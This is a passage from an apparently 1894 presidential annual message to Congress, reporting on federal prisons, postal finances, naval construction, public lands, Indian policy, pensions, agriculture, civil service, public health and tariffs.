at the present session postpones the\nwhole matter until the assembling of a new Congress and inevitably increases\nall the complications of the situation, and could not but be regarded as a\nsignal failure to solve a problem which has practically been before the\npresent Congress ever since its organization.Eight years ago in my annual message I urged upon the Congress as strongly as\nI could the location and construction of two prisons for the confinement of\nUnited States prisoners. A similar recommendation has been made from time to\ntime since, and a few years ago a law was passed providing for the selection\nof sites for three such institutions. No appropriation has, however, been made\nto carry the act into effect, and the old and discreditable condition still\nexists.It is not my purpose at this time to repeat the considerations which make an\nimpregnable case in favor of the ownership and management by the Government of\nthe penal institutions in which Federal prisoners are confined. I simply\ndesire to again urge former recommendations on the subject and to particularly\ncall the attention of the Congress to that part of the report of the Secretary\nof War in which he states that the military prison at Fort Leavenworth, Kans.,\ncan be turned over to the Government as a prison for Federal convicts without\nthe least difficulty and with an actual saving of money from every point of\nview.Pending a more complete reform, I hope that by the adoption of the suggestion\nof the Secretary of War this easy step may be taken in the direction of the\nproper care of its convicts by the Government of the United States.The report of the Postmaster-General presents a comprehensive statement of the\noperations of the Post-Office Department for the last fiscal year.The receipts of the Department during the year amounted to $75,080,479.04 and\nthe expenditures to $84,324,414.15.The transactions of the postal service indicate with barometric certainty the\nfluctuations in the business of the country. Inasmuch, therefore, as business\ncomplications continued to exist throughout the last year to an unforeseen\nextent, it is not surprising that the deficiency of revenue to meet the\nexpenditures of the Post-Office Department, which was estimated in advance at\nabout $8,000,000, should be exceeded by nearly $1,225,000. The ascertained\nrevenues of the last year, which were the basis of calculation for the current\nyear, being less than estimated, the deficiency for the current year will be\ncorrespondingly greater, though the Postmaster-General states that the latest\nindications are so favorable that he confidently predicts an increase of at\nleast 8 per cent in the revenues of the current year over those of the last\nyear.The expenditures increase steadily and necessarily with the growth and needs\nof the country, so that the deficiency is greater or less in any year,\ndepending upon the volume of receipts.The Postmaster-General states that this deficiency is unnecessary and might be\nobviated at once if the law regulating rates upon mail matter of the second\nclass was modified. The rate received for the transmission of this\nsecond-class matter is 1 cent per pound, while the cost of such transmission\nto the Government is eight times that amount. In the general terms of the law\nthis rate covers newspapers and periodicals. The extensions of the meaning of\nthese terms from time to time have admitted to the privileges intended for\nlegitimate newspapers and periodicals a surprising range of publications and\ncreated abuses the cost of which amounts in the aggregate to the total\ndeficiency of the Post-Office Department. Pretended newspapers are started by\nbusiness houses for the mere purpose of advertising goods, complying with the\nlaw in form only and discontinuing the publications as soon as the period of\nadvertising is over. \"Sample copies\" of pretended newspapers are issued in\ngreat numbers for a like purpose only. The result is a great loss of revenue\nto the Government, besides its humiliating use as an agency to aid in carrying\nout the scheme of a business house to advertise its goods by means of a trick\nupon both its rival houses and the regular and legitimate newspapers.\nPaper-covered literature, consisting mainly of trashy novels, to the extent of\nmany thousands of tons is sent through the mails at 1 cent per pound, while\nthe publishers of standard works are required to pay eight times that amount\nin sending their publications. Another abuse consists in the free carriage\nthrough the mails of hundreds of tons of seed and grain uselessly distributed\nthrough the Department of Agriculture. The Postmaster-General predicts that if\nthe law be so amended as to eradicate these abuses not only will the\nPost-Office Department show no deficiency, but he believes that in the near\nfuture all legitimate newspapers and periodical magazines might be properly\ntransmitted through the mails to their subscribers free of cost. I invite your\nprompt consideration of this subject and fully indorse the views of the\nPostmaster-General.The total number of post-offices in the United States on the 30th day of June,\n1894, was 69,805, an increase of 1,403 over the preceding year. Of these,\n3,428 were Presidential, an increase in that class of 68 over the preceding\nyear.Six hundred and ten cities and towns are provided with free delivery.\nNinety-three other cities and towns entitled to this service under the law\nhave not been accorded it on account of insufficient funds. The expense of\nfree delivery for the current fiscal year will be more than $12,300,000, and\nunder existing legislation this item of expenditure is subject to constant\nincrease. The estimated cost of rural free delivery generally is so very large\nthat it ought not to be considered in the present condition of affairs.During the year 830 additional domestic money-order offices were established.\nThe total number of these offices at the close of the year was 19,264. There\nwere 14,304,041 money orders issued during the year, being an increase over\nthe preceding year of 994,306. The value of these orders amounted to\n$138,793,579.49, an increase of $11,217,145.84. There were also issued during\nthe year postal notes amounting to $12,649,094.55.During the year 218 international money-order offices were added to those\nalready established, making a total of 2,625 such offices in operation June\n30, 1894. The number of international money orders issued during the year was\n917,823, a decrease in number of 138,176, and their value was $13,792,455.31,\na decrease in amount of $2,549,382.55. The number of orders paid was 361,180,\nan increase over the preceding year of 60,263, and their value was\n$6,568,493.78, an increase of $1,285,118.08.From the foregoing statements it appears that the total issue of money orders\nand postal notes for the year amounted to $165,235,129.35.The number of letters and packages mailed during the year for special delivery\nwas 3,436,970. The special-delivery stamps used upon these letters and\npackages amounted to $343,697. The messengers fees paid for their delivery\namounted to $261,209.70, leaving a balance in favor of the Government of\n$82,487.30.The report shows most gratifying results in the way of economies worked out\nwithout affecting the efficiency of the postal service. These consist in the\nabrogation of steamship subsidy contracts, reletting of mail transportation\ncontracts, and in the cost and amount of supplies used in the service,\namounting in all to $16,619,047.42.This report also contains a valuable contribution to the history of the\nUniversal Postal Union, an arrangement which amounts practically to the\nestablishment of one postal system for the entire civilized world. Special\nattention is directed to this subject at this time in view of the fact that\nthe next congress of the union will meet in Washington in 1897, and it is\nhoped that timely action will be taken in the direction of perfecting\npreparations for that event.The Postmaster-General renews the suggestion made in a previous report that\nthe Department organization be increased to the extent of creating a direct\ndistrict supervision of all postal affairs, and in this suggestion I fully\nconcur.There are now connected with the Post-Office establishment 32,661 employees\nwho are in the classified service. This includes many who have been classified\nupon the suggestion of the Postmaster-General. He states that another year's\nexperience at the head of the Department serves only to strengthen the\nconviction as to the excellent working of the civil-service law in this branch\nof the public service.Attention is called to the report of the Secretary of the Navy, which shows\nvery gratifying progress in the construction of ships for our new Navy. All\nthe vessels now building, including the three torpedo boats authorized at the\nlast session of Congress and excepting the first-class battle ship Iowa, will\nprobably be completed during the coming fiscal year.The estimates for the increase of the Navy for the year ending June 30, 1896,\nare large, but they include practically the entire sum necessary to complete\nand equip all the new ships not now in commission, so that unless new ships\nare authorized the appropriations for the naval service for the fiscal year\nending June 30, 1897, should fall below the estimates for the coming year by\nat least $12,000,000.The Secretary presents with much earnestness a plea for the authorization of\nthree additional battle ships and ten or twelve torpedo boats. While the\nunarmored vessels heretofore authorized, including those now nearing\ncompletion, will constitute a fleet which it is believed is sufficient for\nordinary cruising purposes in time of peace, we have now completed and in\nprocess of construction but four first-class battle ships and but few torpedo\nboats. If we are to have a navy for warlike operations, offensive and\ndefensive, we certainly ought to increase both the number of battle ships and\ntorpedo boats.The manufacture of armor requires expensive plants and the aggregation of many\nskilled workmen. All the armor necessary to complete the vessels now building\nwill be delivered before the 1st of June next. If no new contracts are given\nout, contractors must disband their workmen and their plants must lie idle.\nBattle ships authorized at this time would not be well under way until late in\nthe coming fiscal year, and at least three years and a half from the date of\nthe contract would be required for their completion. The Secretary states that\nnot more than 15 per cent of the cost of such ships need be included in the\nappropriations for the coming year.I recommend that provision be made for the construction of additional battle\nships and torpedo boats. The Secretary recommends the manufacture not only of\na reserve supply of ordnance and ordnance material for ships of the Navy, but\nalso a supply for the auxiliary fleet. Guns and their appurtenances should be\nprovided and kept on hand for both these purposes. We have not to-day a single\ngun that could be put upon the ships Paris or New York of the International\nNavigation Company or any other ship of our reserve Navy.The manufacture of guns at the Washington Navy-Yard is proceeding\nsatisfactorily, and none of our new ships will be required to wait for their\nguns or ordnance equipment.An important order has been issued by the Secretary of the Navy coordinating\nthe duties of the several bureaus concerned in the construction of ships. This\norder, it is believed, will secure to a greater extent than has heretofore\nbeen possible the harmonious action of these several bureaus and make the\nattainment of the best results more certain.During the past fiscal year there has been an unusual and pressing demand in\nmany quarters of the world for the presence of vessels to guard American\ninterests.In January last, during the Brazilian insurrection, a large fleet was\nconcentrated in the harbor of Rio de Janeiro. The vigorous action of\nRear-Admiral Benham in protecting the personal and commercial rights of our\ncitizens during the disturbed conditions afforded results which will, it is\nbelieved, have a far-reaching and wholesome influence whenever in like\ncircumstances it may become necessary for our naval commanders to interfere on\nbehalf of our people in foreign ports.The war now in progress between China and Japan has rendered it necessary or\nexpedient to dispatch eight vessels to those waters.Both the Secretary of the Navy and the Secretary of the Treasury recommend the\ntransfer of the work of the Coast Survey proper to the Navy Department. I\nheartily concur in this recommendation. Excluding Alaska and a very small area\nbesides, all the work of mapping and charting our coasts has been completed.\nThe hydrographic work, which must be done over and over again by reason of the\nshifting and varying depths of water consequent upon the action of streams and\ntides, has heretofore been done under the direction of naval officers in\nsubordination to the Superintendent of the Coast Survey. There seems to be no\ngood reason why the Navy should not have entire charge hereafter of such work,\nespecially as the Hydrographic Office of the Navy Department is now and has\nbeen for many years engaged in making efficient maps entirely similar to those\nprepared by the Coast Survey.I feel it my imperative duty to call attention to the recommendation of the\nSecretary in regard to the personnel of the line of the Navy. The stagnation\nof promotion in this the vital branch of the service is so great as to\nseriously impair its efficiency.I consider it of the utmost importance that the young and middle-aged officers\nshould before the eve of retirement be permitted to reach a grade entitling\nthem to active and important duty.The system adopted a few years ago regulating the employment of labor at the\nnavy-yards is rigidly upheld and has fully demonstrated its usefulness and\nexpediency. It is within the domain of civil-service reform inasmuch as\nworkmen are employed through a board of labor selected at each navy-yard and\nare given work without reference to politics and in the order of their\napplication, preference, however, being given to Army and Navy veterans and\nthose having former navy-yard experience.Amendments suggested by experience have been made to the rules regulating the\nsystem. Through its operation the work at our navy-yards has been vastly\nimproved in efficiency and the opportunity to work has been honestly and\nfairly awarded to willing and competent applicants.It is hoped that if this system continues to be strictly adhered to there will\nsoon be as a natural consequence such an equalization of party benefit as will\nremove all temptation to relax or abandon it.The report of the Secretary of the Interior exhibits the situation of the\nnumerous and interesting branches of the public service connected with his\nDepartment. I commend this report and the valuable recommendations of the\nSecretary to the careful attention of the Congress.The public land disposed of during the year amounted to 10,406,100.77 acres,\nincluding 28,876.05 of Indian lands.It is estimated that the public domain still remaining amounts to a little\nmore than 600,000,000 acres, including, however, about 360,000,000 acres in\nAlaska, as well as military reservations and railroad and other selections of\nlands yet unadjudicated.The total cash receipts from sale of lands amounted to $2,674,285.79,\nincluding $91,981.03 received for Indian lands.Thirty-five thousand patents were issued for agricultural lands, and 3,100\npatents were issued to Indians on allotments of their holdings in severalty,\nthe land so allotted being inalienable by the Indian allottees for a period of\ntwenty-five years after patent.There were certified and patented on account of railroad and wagon-road grants\nduring the year 865,556.45 acres of land, and at the close of the year\n29,000,000 acres were embraced in the lists of selections made by railroad and\nwagon-road companies and awaited settlement.The selections of swamp lands and that taken as indemnity therefor since the\npassage of the act providing for the same in 1849 amount to nearly or quite\n80,500,000 acres, of which 58,000,000 have been patented to States. About\n138,000 acres were patented during the last year. Nearly 820,000 acres of\nschool and education grants were approved during the year, and at its close\n1,250,363.81 acres remained unadjusted.It appears that the appropriation for the current year on account of special\nservice for the protection of the public lands and the timber thereon is much\nless than those for previous years, and inadequate for an efficient\nperformance of the work. A larger sum of money than has been appropriated\nduring a number of years past on this account has been returned to the\nGovernment as a result of the labors of those employed in the particular\nservice mentioned, and I hope it will not be crippled by insufficient\nappropriation.I fully indorse the recommendation of the Secretary that adequate protection\nbe provided for our forest reserves and that a comprehensive forestry system\nbe inaugurated. Such keepers and superintendents as are necessary to protect\nthe forests already reserved should be provided.I am of the opinion that there should be an abandonment of the policy\nsanctioned by present laws under which the Government, for a very small\nconsideration, is rapidly losing title to immense tracts of land covered with\ntimber, which should be properly reserved as permanent sources of timber\nsupply.The suggestion that a change be made in the manner of securing surveys of the\npublic lands is especially worthy of consideration. I am satisfied that these\nsurveys should be made by a corps of competent surveyors under the immediate\ncontrol and direction of the Commissioner of the General Land Office.An exceedingly important recommendation of the Secretary relates to the manner\nin which contests and litigated cases growing out of efforts to obtain\nGovernment land are determined. The entire testimony upon which these\ncontroversies depend in all their stages is taken before the local registers\nand receivers, and yet these officers have no power to subpoena witnesses or\nto enforce their attendance to testify. These cases, numbering three or four\nthousand annually, are sent by the local officers to the Commissioner of the\nGeneral Land Office for his action. The exigencies of his other duties oblige\nhim to act upon the decisions of the registers and receivers without an\nopportunity of thorough personal examination. Nearly 2,000 of these cases are\nappealed annually from the Commissioner to the Secretary of the Interior.\nBurdened with other important administrative duties, his determination of\nthese appeals must be almost perfunctory and based upon the examination of\nothers, though this determination of the Secretary operates as a final\nadjudication upon rights of very great importance.I concur in the opinion that the Commissioner of the General Land Office\nshould be relieved from the duty of deciding litigated land cases, that a\nnonpartisan court should be created to pass on such cases, and that the\ndecisions of this court should be final, at least so far as the decisions of\nthe Department are now final. The proposed court might be given authority to\ncertify questions of law in matters of especial importance to the Supreme\nCourt of the United States or the court of appeals for the District of\nColumbia for decision. The creation of such a tribunal would expedite the\ndisposal of cases and insure decisions of a more satisfactory character. The\nregisters and receivers who originally hear and decide these disputes should\nbe invested with authority to compel witnesses to attend and testify before\nthem.Though the condition of the Indians shows a steady and healthy progress, their\nsituation is not satisfactory at all points. Some of them to whom allotments\nof land have been made are found to be unable or disinclined to follow\nagricultural pursuits or to otherwise beneficially manage their land. This is\nespecially true of the Cheyennes and Arapahoes, who, as it appears by reports\nof their agent, have in many instances never been located upon their\nallotments, and in some cases do not even know where their allotments are.\nTheir condition has deteriorated. They are not self-supporting and they live\nin camps and spend their time in idleness.I have always believed that allotments of reservation lands to Indians in\nseveralty should be made sparingly, or at least slowly, and with the utmost\ncaution. In these days, when white agriculturists and stock raisers of\nexperience and intelligence find their lot a hard one, we ought not to expect\nIndians, unless far advanced in civilization and habits of industry, to\nsupport themselves on the small tracts of land usually allotted to them.If the self-supporting scheme by allotment fails, the wretched pauperism of\nthe allottees which results is worse than their original condition of\nregulated dependence. It is evident that the evil consequences of ill-advised\nallotment are intensified in cases where the false step can not be retraced on\naccount of the purchase by the Government of reservation lands remaining after\nallotments are made and the disposition of such remaining lands to settlers or\npurchasers from the Government.I am convinced that the proper solution of the Indian problem and the success\nof every step taken in that direction depend to a very large extent upon the\nintelligence and honesty of the reservation agents and the interest they have\nin their work. An agent fitted for his place can do much toward preparing the\nIndians under his charge for citizenship and allotment of their lands, and his\nadvice as to any matter concerning their welfare will not mislead. An unfit\nagent will make no effort to advance the Indians on his reservation toward\ncivilization or preparation for allotment of lands in severalty, and his\nopinion as to their condition in this and other regards is heedless and\nvalueless.The indications are that the detail of army officers as Indian agents will\nresult in improved management on the reservations.Whenever allotments are made and any Indian on the reservation has previously\nsettled upon a lot and cultivated it or shown a disposition to improve it in\nany way, such lot should certainly be allotted to him, and this should be made\nplainly obligatory by statute.In the light of experience and considering the uncertainty of the Indian\nsituation and its exigencies in the future, I am not only disposed to be very\ncautious in making allotments, but I incline to agree with the Secretary of\nthe Interior in the opinion that when allotments are made the balance of\nreservation land remaining after allotment, instead of being bought by the\nGovernment from the Indians and opened for settlement with such scandals and\nunfair practices as seem unavoidable, should remain for a time at least as\ncommon land or be sold by the Government on behalf of the Indians in an\norderly way and at fixed prices, to be determined by its location and\ndesirability, and that the proceeds, less expenses, should be held in trust\nfor the benefit of the Indian proprietors.The intelligent Indian-school management of the past year has been followed by\ngratifying results. Efforts have been made to advance the work in a sound and\npractical manner. Five institutes of Indian teachers have been held during the\nyear, and have proved very beneficial through the views exchanged and methods\ndiscussed particularly applicable to Indian education.Efforts are being made in the direction of a gradual reduction of the number\nof Indian contract schools, so that in a comparatively short time they may\ngive way altogether to Government schools, and it is hoped that the change may\nbe so gradual as to be perfected without too great expense to the Government\nor undue disregard of investments made by those who have established and are\nmaintaining such contract schools.The appropriation for the current year, ending June 30, 1895, applicable to\nthe ordinary expenses of the Indian service amounts to $6,733,003.18, being\nless by $663,240.64 than the sum appropriated on the same account for the\nprevious year.At the close of the last fiscal year, on the 30th day of June, 1894, there\nwere 969,544 persons on our pension rolls, being a net increase of 3,532 over\nthe number reported at the end of the previous year.These pensioners may be classified as follows: Soldiers and sailors survivors\nof all wars, 753,968; widows and relatives of deceased soldiers, 215,162; army\nnurses in the War of the Rebellion, 414. Of these pensioners 32,039 are\nsurviving soldiers of Indian and other wars prior to the late Civil War and\nthe widows or relatives of such soldiers.The remainder, numbering 937,505, are receiving pensions on account of the\nrebellion, and of these 469,344 are on the rolls under the authority of the\nact of June 27, 1890, sometimes called the dependent-pension law.The total amount expended for pensions during the year was $139,804,461.05,\nleaving an unexpended balance from the sum appropriated of $25,205,712.65.The sum necessary to meet pension expenditures for the year ending June 30,\n1896, is estimated at $140,000,000.The Commissioner of Pensions is of the opinion that the year 1895, being the\nthirtieth after the close of the War of the Rebellion, must, according to all\nsensible human calculation, see the highest limit of the pension roll, and\nthat after that year it must begin to decline.The claims pending in the Bureau have decreased more than 90,000 during the\nyear. A large proportion of the new claims filed are for increase of pension\nby those now on the rolls.The number of certificates issued was 80,213.The names dropped from the rolls for all causes during the year numbered\n37,951.Among our pensioners are 9 widows and 3 daughters of soldiers of the\nRevolution and 45 survivors of the War of 1812.The barefaced and extensive pension frauds exposed under the direction of the\ncourageous and generous veteran soldier now at the head of the Bureau leave no\nroom for the claim that no purgation of our pension rolls was needed or that\ncontinued vigilance and prompt action are not necessary to the same end.The accusation that an effort to detect pension frauds is evidence of\nunfriendliness toward our worthy veterans and a denial of their claims to the\ngenerosity of the Government suggests an unfortunate indifference to the\ncommission of any offense which has for its motive the securing of a pension\nand indicates a willingness to be blind to the existence of mean and\ntreacherous crimes which play upon demagogic fears and make sport of the\npatriotic impulse of a grateful people.The completion of the Eleventh Census is now in charge of the Commissioner of\nLabor. The total disbursements on account of the work for the fiscal year\nending June 30, 1894, amounted to $10,365,676.81. At the close of the year the\nnumber of persons employed in the Census Office was 679; at present there are\nabout 400. The whole number of volumes necessary to comprehend the Eleventh\nCensus will be 25, and they will contain 22,270 printed pages. The assurance\nis confidently made that before the close of the present calendar year the\nmaterial still incomplete will be practically in hand, and the census can\ncertainly be closed by the 4th of March, 1895. After that the revision and\nproof reading necessary to bring out the volumes will still be required.The text of the census volumes has been limited as far as possible to the\nanalysis of the statistics presented. This method, which is in accordance with\nlaw, has caused more or less friction and in some instances individual\ndisappointment, for when the Commissioner of Labor took charge of the work he\nfound much matter on hand which according to this rule he was compelled to\ndiscard. The census is being prepared according to the theory that it is\ndesigned to collect facts and certify them to the public, not to elaborate\narguments or to present personal views.The Secretary of Agriculture in his report reviews the operations of his\nDepartment for the last fiscal year and makes recommendations for the further\nextension of its usefulness. He reports a saving in expenditures during the\nyear of $600,000, which is covered back into the Treasury. This sum is 23 per\ncent of the entire appropriation.A special study has been made of the demand for American farm products in all\nforeign markets, especially Great Britain, That country received from the\nUnited States during the nine months ending September 30, 1894, 305,910 live\nbeef cattle, valued at $26,500,000, as against 182,611 cattle, valued at\n$16,634,000, during the same period for 1893.During the first six months of 1894 the United Kingdom took also 112,000,000\npounds of dressed beef from the United States, valued at nearly $10,000,000.The report shows that during the nine months immediately preceding September\n30, 1894, the United States exported to Great Britain 222,676,000 pounds of\npork; of apples, 1,900,000 bushels, valued at $2,500,000, and of horses 2,811,\nat an average value of $139 per head. There was a falling off in American\nwheat exports of 13,500,000 bushels, and the Secretary is inclined to believe\nthat wheat may not in the future be the staple export cereal product of our\ncountry, but that corn will continue to advance in importance as an export on\naccount of the new uses to which it is constantly being appropriated.The exports of agricultural products from the United States for the fiscal\nyear ending June 30, 1894, amounted to $628,363,038, being 72.28 per cent of\nAmerican exports of every description, and the United Kingdom of Great Britain\ntook more than 54 per cent of all farm products finding foreign markets.The Department of Agriculture has undertaken during the year two new and\nimportant lines of research. The first relates to grasses and forage plants,\nwith the purpose of instructing and familiarizing the people as to the\ndistinctive grasses of the United States and teaching them how to introduce\nvaluable foreign forage plants which may be adapted to this country. The\nsecond relates to agricultural soils and crop production, involving the\nanalyses of samples of soils from all sections of the American Union, to\ndemonstrate their adaptability to particular plants and crops. Mechanical\nanalyses of soils may be of such inestimable utility that it is foremost in\nthe new lines of agricultural research, and the Secretary therefore recommends\nthat a division having it in charge be permanently established in the\nDepartment.The amount appropriated for the Weather Bureau was $951,100. Of that sum\n$138,500, or 14 per cent, has been saved and is returned to the Treasury.As illustrating the usefulness of this service it may be here stated that the\nwarnings which were very generally given of two tropical storms occurring in\nSeptember and October of the present year resulted in detaining safely in port\n2,305 vessels, valued at $36,183,913, laden with cargoes of probably still\ngreater value. What is much more important and gratifying, many human lives on\nthese ships were also undoubtedly saved.The appropriation to the Bureau of Animal Industry was $850,000, and the\nexpenditures for the year were only $495,429.24, thus leaving unexpended\n$354,570.76. The inspection of beef animals for export and interstate trade\nhas been continued, and 12,944,056 head were inspected during the year, at a\ncost of 1 3/4 cents per head, against 4 3/4 cents for 1893. The amount of pork\nmicroscopically examined was 35,437,937 pounds, against 20,677,410 pounds in\nthe preceding year. The cost of this inspection has been diminished from 8 3/4\ncents per head in 1893 to 6 1/2 cents in 1894.The expense of inspecting the pork sold in 1894 to Germany and France by the\nUnited States was $88,922.10. The quantity inspected was greater by 15,000,000\npounds than during the preceding year, when the cost of such inspection was\n$172,367.08. The Secretary of Agriculture recommends that the law providing\nfor the microscopic inspection of export and interstate meat be so amended as\nto compel owners of the meat inspected to pay the cost of such inspection, and\nI call attention to the arguments presented in his report in support of this\nrecommendation.The live beef cattle exported and tagged during the year numbered 353,535.\nThis is an increase of 69,533 head over the previous year.The sanitary inspection of cattle shipped to Europe has cost an average of 10\n3/4 cents for each animal, and the cost of inspecting Southern cattle and the\ndisinfection of cars and stock yards averages 2.7 cents per animal.The scientific inquiries of the Bureau of Animal Industry have progressed\nsteadily during the year. Much tuberculin and mallein have been furnished to\nState authorities for use in the agricultural colleges and experiment stations\nfor the treatment of tuberculosis and glanders.Quite recently this Department has published the results of its investigations\nof bovine tuberculosis, and its researches will be vigorously continued.\nCertain herds in the District of Columbia will be thoroughly inspected and\nwill probably supply adequate scope for the Department to intelligently\nprosecute its scientific work and furnish sufficient material for purposes of\nillustration, description, and definition.The sterilization of milk suspected of containing the bacilli of tuberculosis\nhas been during the year very thoroughly explained in a leaflet by Dr. D. E.\nSalmon, the Chief of the Bureau, and given general circulation throughout the\ncountry.The Office of Experiment Stations, which is a part of the United States\nDepartment of Agriculture, has during the past year engaged itself almost\nwholly in preparing for publication works based upon the reports of\nagricultural experiment stations and other institutions for agricultural\ninquiry in the United States and foreign countries.The Secretary in his report for 1893 called attention to the fact that the\nappropriations made for the support of the experiment stations throughout the\nUnion were the only moneys taken out of the National Treasury by act of\nCongress for which no accounting to Federal authorities was required.\nResponding to this suggestion, the Fifty-third Congress, in making the\nappropriation for the Department for the present fiscal year, provided that--The Secretary of Agriculture shall prescribe the form of annual financial\nstatement required by section 3 of said act of March 2, 1887; shall ascertain\nwhether the expenditures under the appropriation hereby made are in accordance\nwith the provisions of said act, and shall make report thereon to Congress.In obedience to this law the Department of Agriculture immediately sent out\nblank forms of expense accounts to each station, and proposes in addition to\nmake, through trusted experts, systematic examination of the several stations\nduring each year for the purpose of acquiring by personal investigation the\ndetailed information necessary to enable the Secretary of Agriculture to make,\nas the statute provides, a satisfactory report to Congress. The boards of\nmanagement of the several stations with great alacrity and cordiality have\napproved the amendment to the law providing this supervision of their\nexpenditures, anticipating that it will increase the efficiency of the\nstations and protect their directors and managers from loose charges\nconcerning their use of public funds, besides bringing the Department of\nAgriculture into closer and more confidential relations with the experimental\nstations, and through their joint service largely increasing their usefulness\nto the agriculture of the country.Acting upon a recommendation contained in the report of 1893, Congress\nappropriated $10,000 \"to enable the Secretary of Agriculture to investigate\nand report upon the nutritive value of the various articles and commodities\nused for human food, with special suggestions of full, wholesome, and edible\nrations less wasteful and more economical than those in common use.\"Under this appropriation the Department has prepared and now has nearly ready\nfor distribution an elementary discussion of the nutritive value and pecuniary\neconomy of food. When we consider that fully one-half of all the money earned\nby the wage earners of the civilized world is expended by them for food, the\nimportance and utility of such an investigation is apparent.The Department expended in the fiscal year 1893 $2,354,809.56, and out of that\nsum the total amount expended in scientific research was 45.6 per cent. But in\nthe year ending June 30, 1894, out of a total expenditure of $1,948,988.38,\nthe Department applied 51.8 per cent of that sum to scientific work and\ninvestigation. It is therefore very plainly observable that the economies\nwhich have been practiced in the administration of the Department have not\nbeen at the expense of scientific research.The recommendation contained in the report of the Secretary for 1893 that the\nvicious system of promiscuous free distribution of its departmental documents\nbe abandoned is again urged. These publications may well be furnished without\ncost to public libraries, educational institutions, and the officers and\nlibraries of States and of the Federal Government; but from all individuals\napplying for them a price covering the cost of the document asked for should\nbe required. Thus the publications and documents would be secured by those who\nreally desire them for proper purposes. Half a million of copies of the report\nof the Secretary of Agriculture are printed for distribution, at an annual\ncost of about $300,000. Large numbers of them are cumbering storerooms at the\nCapitol and the shelves of secondhand-book stores throughout the country. All\nthis labor and waste might be avoided if the recommendations of the Secretary\nwere adopted.The Secretary also again recommends that the gratuitous distribution of seeds\ncease and that no money be appropriated for that purpose except to experiment\nstations. He reiterates the reasons given in his report for 1893 for\ndiscontinuing this unjustifiable gratuity, and I fully concur in the\nconclusions which he has reached.The best service of the statistician of the Department of Agriculture is the\nascertainment, by diligence and care, of the actual and real conditions,\nfavorable or unfavorable, of the farmers and farms of the country, and to seek\nthe causes which produce these conditions, to the end that the facts\nascertained may guide their intelligent treatment.A further important utility in agricultural statistics is found in their\nelucidation of the relation of the supply of farm products to the demand for\nthem in the markets of the United States and of the world.It is deemed possible that an agricultural census may be taken each year\nthrough the agents of the statistical division of the Department. Such a\ncourse is commended for trial by the chief of that division. Its scope would\nbe: (1) The area under each of the more important crops. (2) The aggregate\nproducts of each of such crops. (3) The quantity of wheat and corn in the\nhands of farmers at a date after the spring sowings and plantings and before\nthe beginning of harvest, and also the quantity of cotton and tobacco\nremaining in the hands of planters, either at the same date or at some other\ndesignated time.The cost of the work is estimated at $500,000.Owing to the peculiar quality of the statistician's work and the natural and\nacquired fitness necessary to its successful prosecution, the Secretary of\nAgriculture expresses the opinion that every person employed in gathering\nstatistics under the chief of that division should be admitted to that service\nonly after a thorough, exhaustive, and successful examination at the hands of\nthe United States Civil Service Commission. This has led him to call for such\nexamination of candidates for the position of assistant statisticians, and\nalso of candidates for chiefs of sections in that division.The work done by the Department of Agriculture is very superficially dealt\nwith in this communication, and I commend the report of the Secretary and the\nvery important interests with which it deals to the careful attention of the\nCongress.The advantages to the public service of an adherence to the principles of\ncivil-service reform are constantly more apparent, and nothing is so\nencouraging to those in official life who honestly desire good government as\nthe increasing appreciation by our people of these advantages. A vast majority\nof the voters of the land are ready to insist that the time and attention of\nthose they select to perform for them important public duties should not be\ndistracted by doling out minor offices, and they are growing to be unanimous\nin regarding party organization as something that should be used in\nestablishing party principles instead of dictating the distribution of public\nplaces as rewards of partisan activity.Numerous additional offices and places have lately been brought within\ncivil-service rules and regulations, and some others will probably soon be\nincluded.The report of the Commissioners will be submitted to the Congress, and I\ninvite careful attention to the recommendations it contains.I am entirely convinced that we ought not to be longer without a national\nboard of health or national health officer charged with no other duties than\nsuch as pertain to the protection of our country from the invasion of\npestilence and disease. This would involve the establishment by such board or\nofficer of proper quarantine precautions, or the necessary aid and counsel to\nlocal authorities on the subject; prompt advice and assistance to local boards\nof health or health officers in the suppression of contagious disease, and in\ncases where there are no such local boards or officers the immediate direction\nby the national board or officer of measures of suppression; constant and\nauthentic information concerning the health of foreign countries and all parts\nof our own country as related to contagious diseases, and consideration of\nregulations to be enforced in foreign ports to prevent the introduction of\ncontagion into our cities and the measures which should be adopted to secure\ntheir enforcement.There seems to be at this time a decided inclination to discuss measures of\nprotection against contagious diseases in international conference, with a\nview of adopting means of mutual assistance. The creation of such a national\nhealth establishment would greatly aid our standing in such conferences and\nimprove our opportunities to avail ourselves of their benefits.I earnestly recommend the inauguration of a national board of health or\nsimilar national instrumentality, believing the same to be a needed precaution\nagainst contagious disease and in the interest of the safety and health of our\npeople.By virtue of a statute of the United States passed in 1888 I appointed in July\nlast Hon. John D. Kernan, of the State of New York, and Hon. Nicholas E.\nWorthington, of the State of Illinois, to form, with Hon. Carroll D. Wright,\nCommissioner of Labor, who was designated by said statute, a commission for\nthe purpose of making careful inquiry into the causes of the controversies\nbetween certain railroads and their employees which had resulted in an\nextensive and destructive strike, accompanied by much violence and dangerous\ndisturbance, with considerable loss of life and great destruction of property.The report of the commissioners has been submitted to me and will be\ntransmitted to the Congress with the evidence taken upon their investigation.Their work has been well done, and their standing and intelligence give\nassurance that the report and suggestions they make are worthy of careful\nconsideration.The tariff act passed at the last session of the Congress needs important\namendments if it is to be executed effectively and with certainty. In addition\nto such necessary amendments as will not change rates of duty, I am still very\ndecidedly in favor of putting coal and iron upon the free list.So far as the sugar schedule is concerned, I would be glad, under existing\naggravations, to see every particle of differential duty in favor of refined\nsugar stricken out of our tariff law. If with all the favor now accorded the\nsugar-refining interest in our tariff laws it still languishes to the extent\nof closed refineries and thousands of discharged workmen, it would seem to\npresent a hopeless case for reasonable legislative aid. Whatever else is done\nor omitted, I earnestly repeat here the recommendation I have made in another\nportion of this communication, that the additional duty of one-tenth of a cent\nper pound laid upon sugar imported from countries paying a bounty on its\nexport be abrogated. It seems to me that exceedingly important considerations\npoint to the propriety of this amendment.With the advent of a new tariff policy not only calculated to relieve the\nconsumers of our land in the cost of their daily life, but to invite a better\ndevelopment of American thrift and create for us closer and more profitable\ncommercial relations with the rest of the world, it follows as a logical and\nimperative necessity that we should at once remove the chief if not the only\nobstacle which has so long prevented our participation in the foreign carrying\ntrade of the sea. A tariff built upon the theory that it is well to check\nimports and that a home market should bound the industry and effort of\nAmerican producers was fitly supplemented by a refusal to allow American\nregistry to vessels built abroad, though owned and navigated by our people,\nthus exhibiting a willingness to abandon all contest for the advantages of\nAmerican transoceanic carriage. Our new tariff policy, built upon the theory\nthat it is well to encourage such importations as our people need, and that\nour products and manufactures should find markets in every part of the\nhabitable globe, is consistently supplemented by the greatest possible liberty\nto our citizens in the ownership and navigation of ships in which our products\nand manufactures may be transported. The millions now paid to foreigners for\ncarrying American 